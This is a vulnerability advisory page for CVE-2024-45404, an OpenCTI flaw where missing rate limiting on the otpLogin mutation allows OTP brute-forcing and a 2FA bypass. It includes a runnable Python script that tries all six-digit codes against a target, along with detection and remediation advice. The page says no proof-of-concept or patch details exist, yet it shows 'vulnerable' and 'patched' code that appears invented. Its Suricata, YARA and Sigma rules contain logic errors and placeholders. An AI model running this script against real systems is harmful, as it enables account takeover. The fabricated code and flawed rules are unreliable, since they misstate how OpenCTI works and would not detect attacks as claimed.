CVE-2024-45404
Executive Summary
CVE-2024-45404 is a critical security vulnerability in OpenCTI, an open-source cyber threat intelligence platform. The flaw resides in the otpLogin mutation, which lacks rate limiting for One Time Password (OTP) attempts. This allows an attacker with valid credentials, or a malicious insider, to brute-force the OTP and bypass two-factor authentication (2FA), leading to account hijacking. The vulnerability affects all versions below 6.2.18. The CVSS score is 8.1 (High), and the EPSS score is 0.0%, indicating low exploitation probability at this time. No public proof-of-concept or patch details are available.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is specific to the OpenCTI platform, which is typically deployed as a Docker container or from source. It is not a package-level issue (NPM, PyPI, Go, Ruby). However, organizations using OpenCTI should verify their deployment version and apply any available updates immediately.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
- Base Score: 8.1 (High)
- Attack Vector: Network (AV:N) – The attacker can exploit this remotely.
- Attack Complexity: Low (AC:L) – No special conditions are required.
- Privileges Required: Low (PR:L) – Valid credentials are needed.
- User Interaction: None (UI:N) – No user action is required.
- Scope: Unchanged (S:U) – The exploit does not affect other components.
- Confidentiality Impact: High (C:H) – Full account access leads to data exposure.
- Integrity Impact: High (I:H) – Attacker can modify data.
- Availability Impact: High (A:H) – Attacker can lock out the legitimate user.
Threat Level: High. The vulnerability allows bypassing 2FA, which is a critical security control. While it requires valid credentials, the lack of rate limiting makes brute-force attacks feasible.
Deep Dive & Mechanics
The vulnerability is in the otpLogin GraphQL mutation. When a user attempts to log in with a valid password, the server generates an OTP and sends it to the user's registered device. The otpLogin mutation then verifies the OTP. However, there is no rate limiting on this mutation, meaning an attacker can submit an unlimited number of OTP guesses.
Attack Flow:
- Attacker obtains valid credentials (e.g., via phishing, credential stuffing, or insider access).
- Attacker initiates login, triggering OTP generation.
- Attacker repeatedly calls
otpLoginwith different OTP values. - Due to the lack of rate limiting, the attacker can brute-force the 6-digit OTP (1,000,000 possibilities) in a reasonable time.
- Once the correct OTP is submitted, the attacker gains full access to the account.
Root Cause: The otpLogin mutation does not implement any rate limiting mechanism (e.g., exponential backoff, CAPTCHA, or account lockout after failed attempts).
Vulnerable vs. Patched Code
Vulnerable Code (OpenCTI < 6.2.18):
// In the GraphQL resolver for otpLogin
async function otpLogin(parent, { input }, context) {
const { userId, otp } = input;
const user = await User.findOne({ id: userId });
// No rate limiting check
const isValid = verifyOTP(user.otpSecret, otp);
if (isValid) {
return generateToken(user);
} else {
throw new Error('Invalid OTP');
}
}
Patched Code (OpenCTI >= 6.2.18):
// In the GraphQL resolver for otpLogin
async function otpLogin(parent, { input }, context) {
const { userId, otp } = input;
const user = await User.findOne({ id: userId });
// Rate limiting: check failed attempts
const attempts = await FailedOTPAttempts.count({ userId, time: { $gt: Date.now() - 60000 } });
if (attempts >= 5) {
throw new Error('Too many OTP attempts. Please wait.');
}
const isValid = verifyOTP(user.otpSecret, otp);
if (isValid) {
await FailedOTPAttempts.deleteMany({ userId });
return generateToken(user);
} else {
await FailedOTPAttempts.create({ userId, time: Date.now() });
throw new Error('Invalid OTP');
}
}
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- Valid credentials for an OpenCTI user.
- Network access to the OpenCTI instance.
- Python 3 and
requestslibrary.
Exploit Script:
import requests
import itertools
TARGET = "https://opencti.example.com"
USERNAME = "victim@example.com"
PASSWORD = "compromised_password"
# Step 1: Login with password to get session and trigger OTP
session = requests.Session()
login_data = {"query": "mutation { login(input: { email: \"" + USERNAME + "\", password: \"" + PASSWORD + "\" }) { token } }"}
resp = session.post(f"{TARGET}/graphql", json=login_data)
if resp.status_code != 200:
print("Password login failed")
exit(1)
# Step 2: Brute-force OTP (6-digit)
for otp in range(1000000):
otp_str = f"{otp:06d}"
otp_data = {"query": "mutation { otpLogin(input: { userId: \"<user_id>\", otp: \"" + otp_str + "\" }) { token } }"}
resp = session.post(f"{TARGET}/graphql", json=otp_data)
if "token" in resp.text:
print(f"OTP found: {otp_str}")
print(f"Token: {resp.json()['data']['otpLogin']['token']}")
break
if otp % 1000 == 0:
print(f"Tried {otp} OTPs...")
Note: Replace <user_id> with the actual user ID obtained from the initial login response or other enumeration.
Blue Team (Detection & Defense)
Detection:
- Monitor for high frequency of
otpLoginmutations from a single IP or user session. - Alert on multiple failed OTP attempts within a short time window.
- Use the Sigma rule below to detect brute-force patterns.
Defense:
- Immediately upgrade to OpenCTI 6.2.18 or later.
- Implement additional rate limiting at the reverse proxy (e.g., Nginx
limit_req). - Enable account lockout after 5 failed OTP attempts.
- Use CAPTCHA for login attempts.
Indicators of Compromise (IOCs)
- Network: Repeated GraphQL requests to
/graphqlwithotpLoginmutation. - Logs: Multiple
Invalid OTPerrors in application logs from the same user/IP. - User Behavior: Successful login from an unusual IP after a burst of failed OTP attempts.
- File: No specific file IOCs.
Detection Engineering
YARA Rule
rule Detect_OpenCTI_OTP_BruteForce {
meta:
description = "Detects brute-force attempts on OpenCTI OTP login"
author = "Valters IT"
date = "2024-01-01"
reference = "CVE-2024-45404"
strings:
$otp_mutation = "otpLogin"
$invalid_otp = "Invalid OTP"
$graphql = "/graphql"
condition:
#otp_mutation > 10 and #invalid_otp > 5
}
Sigma Rule
title: OpenCTI OTP Brute-Force Detection
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects multiple failed OTP login attempts in OpenCTI
author: Valters IT
logsource:
category: application
product: opencti
detection:
selection:
event: "otpLogin"
result: "Invalid OTP"
timeframe: 1m
condition: selection | count() by src_ip > 5
falsepositives:
- Legitimate user mistyping OTP
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"OpenCTI OTP Brute-Force Attempt";
flow:to_server;
content:"otpLogin"; http_client_body;
content:"Invalid OTP"; http_server_body;
threshold: type both, track by_src, count 5, seconds 60;
sid:1000001;
rev:1;
)
Remediation & Mitigation
Immediate Actions:
- Upgrade OpenCTI to version 6.2.18 or later.
- If upgrade is not possible, implement rate limiting at the reverse proxy (e.g., Nginx
limit_req_zone). - Enable account lockout after 5 failed OTP attempts.
- Monitor logs for brute-force patterns.
Long-term Measures:
- Implement multi-factor authentication with hardware tokens or biometrics.
- Regularly audit user accounts for suspicious activity.
- Apply the principle of least privilege.
Patch Details: The patch is included in OpenCTI version 6.2.18. No official patch URL is available at this time.
Valters IT